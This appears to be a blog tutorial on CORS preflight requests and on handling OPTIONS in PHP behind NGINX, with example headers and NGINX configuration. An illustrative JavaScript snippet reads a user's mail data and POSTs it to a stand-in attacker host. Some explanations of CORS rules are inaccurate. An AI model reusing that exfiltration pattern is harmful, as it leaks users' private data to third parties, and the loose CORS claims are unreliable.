How to handle CORS OPTIONS Request with PHP in NGINX


If you have ever tried to access an API on another Server than your original request, you surely know about the hassles of CORS. In this Article we will talk about CORS in detail. Why it is necessary, how it works and how you can adapt your code to work with CORS.



What is CORS anyway?

CORS stands for Cross-Origin Resource Sharing and does what it sounds like. It checks to make sure the request you are sending is allowed by the server. Without it, any website could use JavaScript to simply access "google.com" for example and gain access to your account details or emails. (Read more about why in the next section)

Why is CORS necessary?

Websites use Cookies to store your login information. The cookies are stored in your browser and are only transferred to the website that created them. That is to make sure no other website can read external cookies. If that were possible anyone could copy these cookies and use them to login to the external website as the original owner of the cookies. 

Right, so your cookies are safe!

What if someone uses JavaScript to load content from an external website?

Bad things!

Without any regulations in place, the browser would simply access the page that JavaScript requested. Because the request is not coming from a server but your own Browser, the cookies are sent to the target domain. That Domain sees that you are in fact logged in and potentially displays secure information. That information could then be relayed to an attacker.

Example:
# Lets assume the URL would return all Google Mails for a logged in User
fetch("https://api.google.com/all_emails").then(function(response)
{
    return response.json();
}).then(function(myJson)
{
    # We could get all Mails as a json here and could relay them our own server
    fetch("https://a_bad_server.com/steal_google_mail.php",{method:"POST",body:JSON.stringify(myJson)})
});
The only thing standing between JavaScript and your Data is the Browser! Or more specifically CORS! In this example, it would check api.google.com and see that the request is coming from a Whitelist of Domains. If not, the request is blocked to secure your data.

When is CORS necessary?

With CORS there are two types of Requests. "Simple Request" and "Preflight Requests":

Simple Requests are used whenever there is no possibility of a data-leak. To be specific:

  • You may only use "GET", "HEAD", "POST" as the Method
  • Only text/plain, form-urlencoded or form-data Content-Types are allowed
  • They request response must not be read!

If you do use any other Method like "DELETE", "application/json" or you do actively read the fetch response, you will trigger a preflight request!

How does CORS Preflight work?

CORS Preflight, as the name suggests, send a request prior to the actual request. It pre-checks if the request may actually be sent. That preflight is also called the OPTIONS Request, because the Browser sends this request with the method "OPTIONS". If you have never seen a preflight request, it does look something like this:

Request Method: OPTIONS
Request URL: https://api.someserver.com/api/test
Access-Control-Request-Headers: authorisation
Access-Control-Request-Method: GET
Origin: http://the_request_origin_server.com
Referer: http://the_request_origin_server.com/the_script.php
User-Agent: Mozilla/5.0 ...
Your Browser than expects a response to this OPTIONS Request that tells it what Methods, Headers and Origins are allowed.

If this response does not match the current request, CORS will throw an exception in your browser and not actually send the request.

Here is an example of what an OPTIONS response from your server could look like:
Access-Control-Allow-Headers: Access-Control-Allow-Origin,Access-Control-Request-Method
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Origin: http://the_request_origin_server.com

The Problem with CORS Preflight in NGINX

Now if you are using NGINX with PHP your first instinct might be to handle the CORS requests in PHP and honestly that is something I would recommend, because you have more control over the endpoints and origins and respond with the according headers.

But there is a Problem!

No matter what you do in PHP, you will get an Error that says:

"405 Not Allowed"

That Error is triggered directly in NGINX, because NGINX does not know what to do with the OPTIONS Method!

There main Solution on the Web currently is to use NGINX itself to respond to the preflight OPTIONS reqeust:
if ($request_method = OPTIONS ) {
    add_header "Access-Control-Allow-Origin" *;
    add_header "Access-Control-Allow-Methods" "GET, POST, OPTIONS, HEAD";
    add_header "Access-Control-Allow-Headers" "Authorization, Origin, X-Requested-With, Content-Type, Accept";
    return 200;
}
While that does the trick it is not very dynamic. If you have multiple API routes that do potentially allow different Origins, your NGINX config will get messy quite fast. Isn't there a better way to handle this?

There is!

What you can do to handle the OPTIONS Request in PHP

Let's assume you are using a dynamic routing system that routes all non directly existing files to the index.php, as this is more a less standard for most frameworks. You can simply rewrite the "Error 405" page to a status "200 OK!", and tell it to access the index.php directly. With this solution your config only needs one more line of code. In addition that, this solution makes it possible to retain the original request URL and route it via PHP. That in turn makes it possible to handle different OPTIONS responses for different API Endpoints, should you need that.

"error_page 405 =200 /index.php;"

Here is a full example:
index index.html index.php;

# Location rewrite
location /
{
    try_files $uri $uri/ /index.php$is_args$args;
    error_page 405 =200 /index.php;
}

# Manage PHP Location
location ~ \.php$
{
    fastcgi_pass php_upstream;
    fastcgi_index index.php;
    fastcgi_param SCRIPT_FILENAME $request_filename;
    fastcgi_param REQUEST_URI $uri?$args;
    include fastcgi_params;
}

Keine Kommentare:

Kommentar posten